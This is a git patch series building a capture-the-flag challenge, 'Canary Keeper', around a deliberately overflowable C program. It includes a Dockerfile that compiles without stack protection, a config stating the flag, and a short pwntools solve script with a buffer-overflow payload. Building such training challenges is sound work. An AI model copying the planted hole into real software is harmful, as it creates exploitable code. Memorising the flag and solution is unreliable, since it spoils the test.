zU*>UFK0gnTq2k@MppJK+m6Zi|>t29o@^Y{%tI2y2@1D#$-hDEwzSm^vyN>ryv0pQ5 zw7t^D@~jGN<@7jnDztB8hO1Sqbn&iz{!{GN%nEI<^!_|6rmdVFXU@mkH_S=N>Bl{raQn4SUiYS^tbJ_Odm*1M z)V6qhqyl);?8^H_ucCTL)-^K++PoI-yY&#v0vPu z2yx#Y;=U`yy)VRl?tXE9G{n6>#C>Oo`zDXO%JVxB1?lp<9^*VZdW`e&Qr=ssdqFcM zEeE@S)wy!`tfVl9&P3HICFMu-!Oys z2vcwRPVe8keXsYv9Dy&Q5QobbV}>F7UJ5-+n1B6g>W6&4?#e^ELwJ!d{1V~KF~E5n zvhrxUH){R>I1SJt0s%PUZs8yi?7ab;8rPq(lY$rT@7w@J8SI z_!fD$FKI#uEWhR^9xz4eq96{gqRTseOBIB7`pElaG~_5icByJd(wPN_w!4I^07Tby z64C$&7w$<&7a;3ZPbK6MKz0UjZUjWn*GZf~K=fECA#V}~8u5DZH$e1Rw#3P$8i2#d zm5}j()CPJn6%gi39+x=BvlSMQQ;;Qq3-b~NM5{OdmtdsGk|#3iPy_-{Y(}Wn&$OW;MBtFKKVpT_0OtnM z2~d6*kU;>Ybz1SEnD%-+{o%HX^VO55t`ah{-?HyNB%MGsy+H^T&&uxtvN)ih2$M9l zCM6{H5rEV}9xqa65+~qM%K_1M+)3`A14P$95^^CRg>K(T`9?st2e^L+ko7p?Nw^D; z(g4oS0l6vw`4A9R)L!3n@c5dZKa||(0wQM*w6`n*q%xrA&jL~#;Jy(MeFh}yTmgta ztCf()09hZ<&+~v(gO2B8uLCj&bWex>2}r-Npte^Gk5#cAL)Xxgx^?ZH-Pr1Nt&APx zDB$b?g2W-@47S2w$|B`y0>tAUkK;QG@i#WLCAH0lmvL)PC9UAPv#c@(bcKs z^(G*dAmnlX6CnB?Jc(n&Qw9T+M*y(_KZ^bEPAb1oqLK=9;g1|;Z* zTLGbUJb7*hL|?y%81*W4b_V3x37lTE^0>bYh^|g0_g@0i4;+ts4j#&>4#+c_kLkFv zb4E)d(E)%yi?!KM2U9fOwRj284^(uQvhd1$QYAGIlfT1k&;R`90u3AwD{M{3w`L`EHVqfR(2M zQVNL2YaSr-e&bR>%P>v>q(9Iq0f;`Ak$vaWS1sT!CG2W$YOBL;U%;l<0!QARt|@;B zki~8*Y#0v#!bSG0tGlzUzO}=UPaNo0&jKf?=T`tJ3`qE&fb0%vo{vpm2g+Vg%K@nk zv^pISF5c+54iM78f2EBLfaojEvhNQ7(h=bG7$9>4T74dn$pM^K0I6`jj$GddWI*we zl(P^x)d4ysDwI44j{!uVQ_EJ%0C_K<`89yl1R$FLsSH4_1*A0Kz4rt1dO+p@KsG@_ zPlvw%q>?*M_wJ{_8P60Q^w&sPfpxhl}A6p((1?@=xXWRuHXR4MRzdW)nJXF;N} zD1gd3pFt~nf=6d9AbP$<>gNJLj6f`31Bh4UiukHaj-5Mz(-F|v1AypxBuV*OfaqBo zQB~Hns^sGJeJ60{y8Ys@e+7iG>)G^UK&Vx(RSuq)MI(h1Z)Ap&-s0t`65!}rH7U>0 zfUudTjro8K1bT5gATU0Vq73de(DVeJPdC#Q-u(1k| zM+5RS0MdXXo>ngeq!bXZ?^gq&?_`$RcodLY;CQ@t0V1D^ELGfp4v4;<0^ev$Y@`io zWsg@j()D_`?~NNfo4a9U`3!=lQv{sKfW689DGk`G0+2m{ew_>m7thB&8-lb0(g)8& zXegO40HhLoo`g36BAab%1ga_G&@LvrZ`>g8{ow1Ej)jg)yZi(FPn)_n!DZ8OQeoTCE0TvD=EW)?tql z;=j@l->jo&=cFgx1xRh6)nnM}b$dZNuK_|I^L*Yx-t}}yoFf70#b2*q2o+s+u)~ed?0aPB|;SWZZQ@k;418p+yC>Y6IKINzyn!|s z$KyDQJ})F#G7^xH7T4Ex#p~<4+uA_nn}K^)bK9v&DplX0 z-UzP=>Kb~VShKLIN_`w_3Abd>W{A?Hh)W7@HvknOe^C45){SFnnk`$-TH*~bepdiOcR;d8_J@V5 zPG1>czT}KmC>QAy&Bz&B5)EvsJcXouyD42?&FH|XTOgro(V6JLq(B^T0|Kpeo#*iz z1;U{?c-O6KVK8qxL&6|zN22-IxwGS)J#F31tqEuV9$!c18{y7mi|^cq;ulRY1&C)dG9SCal$9KHG%g~48%;Y#0-#B}w6o~}t8X8;z z!G^JI#8l*gWlJ>am*FR+k3h( zxyi8!i5@foW5U44KPmY}|88A({QRC~1f3|kLf$2NiR!hdB@u7#;%t@?uWRjUlK4y-kqsu9G7pVjRMpD`sK0RK6QRIw7_v*IwqE>2Hq=&$hn_G~JkxYgv zlq7F8Zzp%+aY!yp6CVJ@VH12^=s;c^U^h523u}nXrI{ra0&jV7bat^=5$-_C;6DAl!o1WqQynDBS8= zR`evq=!#gTDxhc%`8qYy>!Roci9IldIsFGXN z(go+ic+kWAj<365_24v0M2<2xnFI%i^btVo zxEaTd0AGT0`=N$S_v}ZHqe@Qij7s@pHO|>kP#Kw%p30*Pc2^A8SLjI&KiYXak_^5) zQMVyQ2&M3XzkDZ=?GIWGukPzCt0-1p49m+uI(h+KNoG-h2Q07?F zhAbD#6`9T%rT)Z4Qjtw?Iv5vIkzPk}ZGxvXDzEFJIpg>ga20JMQF~xuRpm6wwWc;< zOeQ}yS|DAshCvx!*CmF`bp1~r0kuCetDwT=slbw|Rcb~#vtI==yAoDiSsv6U zc#4)eyP;>jbcwMx;5XJ-Cx zQ21b`i!6Z0{)HEQ56s*N+YEQ^w4|J)D%@*)pUMRQUj98NLBamQbjvEB`|Zn zPN;N;7G$=Len0&vB-_R~WKeMHzKrbwdg#}Fv}zeM{*ZOW zib6q!xEYCwM9#=}ZIeMgcrfGEG#y>}3G+K!+tH%&zLohssnhTkxTWjYgswG}Sg@GO z9RXSFfqe$BYr+w#Rasx0i#JB|_`YHcc=>!>Z_-~7W%t+n4p9rg3;^%VqJ_C?JA^^b zTuLc88t0B?C@Uu=rZbduiZsA-v}&dAt8>oFt_p%c|> zd)n)#+H>C3#vTKo{+H9{Tq?JvH(eddKno7jslb`wAp=}CbyUVMtjp+hDxUS*wTlHA)igBz*tGD+2Ggpk+oY+jG?A)6gTzp)O^A(6%MfS@V=QC?g+c3mzIX5I zo-Yn)6Z`MJ(fM=l^ZkC`kMDc$a_{cmH^N;V6&{aZ@ro}BN=^DLCMXrbo$>?_6is3k ze(S{5VmZ>4CTHn`7C>vss}-eKEqO1H{A%f>41U(41tZsxko=aCXQ)CDMj_ile#=N9 z(@uOs)`OAt#qtz#hA8H55x2g1*p`%H*!-)!XB#QYfgwyX%>F30DY0pSyknDTYi2X0+?U8qsLSuoX$ z%Ahf|tGibqn@Qqi7|p&|E7PR^?Muh*z5f?ex1Rm{nm>jw-10;1?$5o*c~F^TLqh&M zBq&YiD{zpF)&7TZW^sh)^_K?;my$hDC}osX_cdksbxZKn>T>osF2N_kD>$5TIf!!k zJOEyC8Y4~f|C%zqK>tLkI~qm5Ze+z!j(#$Ulo1!279Eag@kA<;Ox&-FtdWTh4uK^X zEo($FhBg>Uq{ObS&ek?M(N!2-K34@xk3DtjW@5$ zL_*Hlc*@HaHv(=1+z7Z4a3kPGz>R<#floIA|E#(C-|Fbw)#{_me!o=+_3)%oQ8=fL zK39FlEU0kvBcSICn@0gPb%N{%NHahCmqMX%)J)Tj=KSpWVw!FM=VwnB({$rEKl^h| zBe#QQZn*g+f28Xj>CKMxRgUyJdwSd7JM-u7QS+~>qi@XZ>FF9@_G8pQ9bdK8gqDq{ zUt!&RK!|@GRmWS_!&e<&wuYd2!B~f;zYHBUeMMoqrtT1GE6zxS{VXZRZ+@NN`ip9Q zPCfn3ZR+U-uj+Y0J%7;b1cqpa^aKIz6)lRb63FWaX8I9ccD-?LF4XkL3Nxe zcXp-o3rpnR)gj)b{iRuTi({H920o^7CE!ciQuR4Hee@ zSsgv&QJepidyD4NSNDhR4($)!6VlGaFBM2VMKg`ioQK7kXV%C4aUR<#0XG6} z1l$O?5pW~mM!=20rxpQ^d|N|Hv&@JPy!PXjAFua#wMQ#F5l-P1nG#X(W-XEG->Hb! zTs#gY{dGMPPp0ovV!EM64L!C=bf=Z*KqS?#XO%=si6i~(nW$AJsLDPYrFp)ds8^lqUr4eSQeORfii3UF+`PzVASfMc{agwQ)! z63_j6g=g6B*|@T*`Y3e7)4Rn<Bh6*7``eQgc zK1Tl%^!uQ%ptiAp#Rp~vc;q17#t}p;bfD<)`5&+7^woab8}=#Vm0{nO$CkDG8jdVi zeNCfPyL`cvuPNkf2>G_O`jl2*ZL81U>Z>;2Pwqhe1IWkzUXHSK#f^X)0XG6}1l$O? z5pW~mM!=1L8-f3C1o%5Z{_amMYl`3Yt>oh6A_T9uOc}ev!u2xE-xqF_X$}AKodN zX^uOVUuL>n>OYWaZimeNQv?3)+nHg5?C+q&JrWN{blQJXx;kiC>}qSCC&(~q*Z^4PjRv#*lqyvXXERMqtsuUM{lrS9M31gm#hC$?V2$2 zSu3okR7lvQTs}WD_3IY(*R$X~VsU>>Nqc9%zh?4_$Im-vK8ySJ4K$!aES?vY;MX8N zhvfe+{(rL;ykeG7`ty*|A0OFQES@i&OXRbE3I0KuzjNH? zm$3fBDT9h_)WU-keme%@{>Apx(iy7%mR*U3@ zMKn!cI^l_RpsAs8TX`eeQIgOinM`Cv(^CeXmd7)ZL0yaG1_wvrVoPbTG)heI5ImVg zoiwduZ)kT|3wO6`*h*4r7!z9iUEQJGoo%HWbI%GWY!cGKs?0%c-z&6TUAMP}y0qIn zI`)Now4P9FSD11&ce+HgIkU;ubJ7M%##E8hfG!B(>3yo7vp4L7Yx$DMh zP`Z&ui)GUq-VVfQlTGLC@Qfu=S}v={%uPK`=VGfUx@cuzHY*D=xASNkcI|LrX**BZ zJvz|=J$kQ3FCvhGeV7n@Fch5*lHics ziV5eBe_@tLbl#CV`~Uk6e?|H+?vdFsII^IHCSy|1rhV zF!or<;;*xOy6?67Pb-!wqe@DfILm(%I$Cqc%T94U#ru_=_MB#X7rr$%e}0bhjJ$zj zJD8ZlX~qj+Y3y?OyguXo=e*CH<{t_BasU4m95s>sc^x+)ZyXOmXBYNoTn=ZuzX(d} z1`D|y&V&6py%NsEaru0|>6iXadn(H=t7ZApyr^RT8;gu}!v1#Tv12z4$_$Un3&T}V q25@kF`1-p79M|3Me~$h!L3$mTbGeq5)&k}IH#b`r8ypUfr1%e8dte>_ diff --git a/canary-keeper-0/chall.yaml b/canary-keeper-0/chall.yaml new file mode 100644 index 0000000..3295062 --- /dev/null +++ b/canary-keeper-0/chall.yaml @@ -0,0 +1,16 @@ +name: Canary Keeper +categories: + - binex +value: 100 +flag: + file: ./flag.txt +description: |- + My Friend Gave me this executeable, but it keeps giving me errors. + Can you get the flag? +files: + - src: ./a.out # TODO COMPILED VERSION OF PROVIDED.C +authors: + - Jack +visible: true + +#Todo Deployment \ No newline at end of file From 6a3a04e1c157401a449b6500c454365968eb174e Mon Sep 17 00:00:00 2001 From: mudasir <96320211+mud-ali@users.noreply.github.com> Date: Mon, 3 Jun 2024 12:20:41 -0400 Subject: [PATCH 3/7] spelling fix --- canary-keeper-0/chall.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/canary-keeper-0/chall.yaml b/canary-keeper-0/chall.yaml index 3295062..d3ad1bc 100644 --- a/canary-keeper-0/chall.yaml +++ b/canary-keeper-0/chall.yaml @@ -5,7 +5,7 @@ value: 100 flag: file: ./flag.txt description: |- - My Friend Gave me this executeable, but it keeps giving me errors. + My friend gave me this executable, but it keeps giving me errors. Can you get the flag? files: - src: ./a.out # TODO COMPILED VERSION OF PROVIDED.C From 6c61b2b4a1ad2cd609924279bcd2e18ebdbf94f1 Mon Sep 17 00:00:00 2001 From: mudasir <96320211+mud-ali@users.noreply.github.com> Date: Wed, 5 Jun 2024 21:29:35 -0400 Subject: [PATCH 4/7] wip deployment --- canary-keeper-0/Dockerfile | 18 ++++++++++++++++++ canary-keeper-0/chall.yaml | 14 +++++++++----- 2 files changed, 27 insertions(+), 5 deletions(-) create mode 100644 canary-keeper-0/Dockerfile diff --git a/canary-keeper-0/Dockerfile b/canary-keeper-0/Dockerfile new file mode 100644 index 0000000..0463ead --- /dev/null +++ b/canary-keeper-0/Dockerfile @@ -0,0 +1,18 @@ +FROM ubuntu:latest + +WORKDIR /app + +COPY chall.c . + +RUN apt-get update && apt-get install -y wget gcc \ + && wget -O ynetd.c https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c \ + && gcc -o ynetd ynetd.c \ + && gcc -o chall chall.c -fno-stack-protector -Wno-deprecated-declarations -no-pie -z,relro \ + && rm ynetd.c \ + && chmod +x chall && chmod +x ynetd \ + && rm -rf /var/lib/apt/lists/* + +EXPOSE 6896 + +ENTRYPOINT ["./ynetd", "-p", "6896", "/app/chall"] + diff --git a/canary-keeper-0/chall.yaml b/canary-keeper-0/chall.yaml index d3ad1bc..00a31b0 100644 --- a/canary-keeper-0/chall.yaml +++ b/canary-keeper-0/chall.yaml @@ -2,15 +2,19 @@ name: Canary Keeper categories: - binex value: 100 -flag: - file: ./flag.txt +flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f} description: |- My friend gave me this executable, but it keeps giving me errors. Can you get the flag? files: - - src: ./a.out # TODO COMPILED VERSION OF PROVIDED.C + - src: /app/chall + dest: canary-keeper + container: nc authors: - Jack visible: true - -#Todo Deployment \ No newline at end of file +hints: [] +deploy: + nc: + build: . + expose: 6896/tcp \ No newline at end of file From 576f1326a5aa4b473dc0348e96c57a3d9694eb38 Mon Sep 17 00:00:00 2001 From: glacialcascade <11969863+glacialcascade@users.noreply.github.com> Date: Wed, 5 Jun 2024 22:52:14 -0400 Subject: [PATCH 5/7] deployment --- canary-keeper-0/Dockerfile | 35 ++++++++++++++++++++++++----------- canary-keeper-0/chall.yaml | 15 ++++++++------- 2 files changed, 32 insertions(+), 18 deletions(-) diff --git a/canary-keeper-0/Dockerfile b/canary-keeper-0/Dockerfile index 0463ead..9c8d496 100644 --- a/canary-keeper-0/Dockerfile +++ b/canary-keeper-0/Dockerfile @@ -1,18 +1,31 @@ -FROM ubuntu:latest +FROM --platform=linux/amd64 ubuntu@sha256:86ac87f73641c920fb42cc9612d4fb57b5626b56ea2a19b894d0673fd5b4f2e9 AS build -WORKDIR /app +RUN apt-get update -y && apt-get install -y gcc wget && rm -rf /var/lib/apt/lists/* + +RUN wget -O ynetd.c \ + https://raw.githubusercontent.com/johnsonjh/ynetd/e6fd08f8f5d0c6b8c18d645957e30ce012536ed4/ynetd.c \ + && echo "ec7509dec7737da54f8b18e1b5ba935d657f9f016c36cfc9ac08f9952373226f ynetd.c" | sha256sum -c \ + && gcc -o ynetd ynetd.c COPY chall.c . +RUN gcc -o chall -fno-stack-protector chall.c + +COPY provided.c . +RUN gcc -o provided -fno-stack-protector provided.c + +FROM --platform=linux/amd64 ubuntu@sha256:86ac87f73641c920fb42cc9612d4fb57b5626b56ea2a19b894d0673fd5b4f2e9 + +RUN useradd -m -d /home/ctf -u 12345 ctf +WORKDIR /home/ctf -RUN apt-get update && apt-get install -y wget gcc \ - && wget -O ynetd.c https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c \ - && gcc -o ynetd ynetd.c \ - && gcc -o chall chall.c -fno-stack-protector -Wno-deprecated-declarations -no-pie -z,relro \ - && rm ynetd.c \ - && chmod +x chall && chmod +x ynetd \ - && rm -rf /var/lib/apt/lists/* +COPY --from=build ynetd ynetd +RUN chmod +x ynetd -EXPOSE 6896 +COPY --from=build chall chall +COPY --from=build provided provided -ENTRYPOINT ["./ynetd", "-p", "6896", "/app/chall"] +RUN chown -R root:root /home/ctf +USER ctf +EXPOSE 9999 +CMD ./ynetd -p 9999 ./chall \ No newline at end of file diff --git a/canary-keeper-0/chall.yaml b/canary-keeper-0/chall.yaml index 00a31b0..5ae9312 100644 --- a/canary-keeper-0/chall.yaml +++ b/canary-keeper-0/chall.yaml @@ -6,15 +6,16 @@ flag: bcactf{s1mple_CANaRY_9b36bd9f3fd2f} description: |- My friend gave me this executable, but it keeps giving me errors. Can you get the flag? +hints: [] files: - - src: /app/chall - dest: canary-keeper + - src: /provided container: nc -authors: - - Jack -visible: true -hints: [] deploy: nc: build: . - expose: 6896/tcp \ No newline at end of file + expose: 9999/tcp +authors: + - Jack +visible: true + +#TODO: Verify deployment \ No newline at end of file From 55f4adce62b8a9412648fd12112e146e404056e3 Mon Sep 17 00:00:00 2001 From: mudasir <96320211+mud-ali@users.noreply.github.com> Date: Thu, 6 Jun 2024 10:19:49 -0400 Subject: [PATCH 6/7] flush buffers && change filename --- canary-keeper-0/chall.c | 4 ++++ canary-keeper-0/solve.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/canary-keeper-0/chall.c b/canary-keeper-0/chall.c index ae6f66c..1b4642c 100644 --- a/canary-keeper-0/chall.c +++ b/canary-keeper-0/chall.c @@ -13,6 +13,10 @@ int check_flag(const char* flag) { } int main() { + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + char flag[64] = FLAG_VALUE; char canary[7] = CANARY_VALUE; char buffer[64]; diff --git a/canary-keeper-0/solve.py b/canary-keeper-0/solve.py index 6990a4a..4b6dd37 100644 --- a/canary-keeper-0/solve.py +++ b/canary-keeper-0/solve.py @@ -1,6 +1,6 @@ from pwn import * -p = process('./a.out') +p = process('./provided') p.sendline(b'A'*73+b'canary\0'+b'test') flag = p.recvall() From 9e96dd9cab13b3268e5e6ddb3eaca6e6862d4eb8 Mon Sep 17 00:00:00 2001 From: mudasir <96320211+mud-ali@users.noreply.github.com> Date: Thu, 6 Jun 2024 10:20:33 -0400 Subject: [PATCH 7/7] deployment ha sido verificado --- canary-keeper-0/chall.yaml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/canary-keeper-0/chall.yaml b/canary-keeper-0/chall.yaml index 5ae9312..16049d0 100644 --- a/canary-keeper-0/chall.yaml +++ b/canary-keeper-0/chall.yaml @@ -16,6 +16,4 @@ deploy: expose: 9999/tcp authors: - Jack -visible: true - -#TODO: Verify deployment \ No newline at end of file +visible: true \ No newline at end of file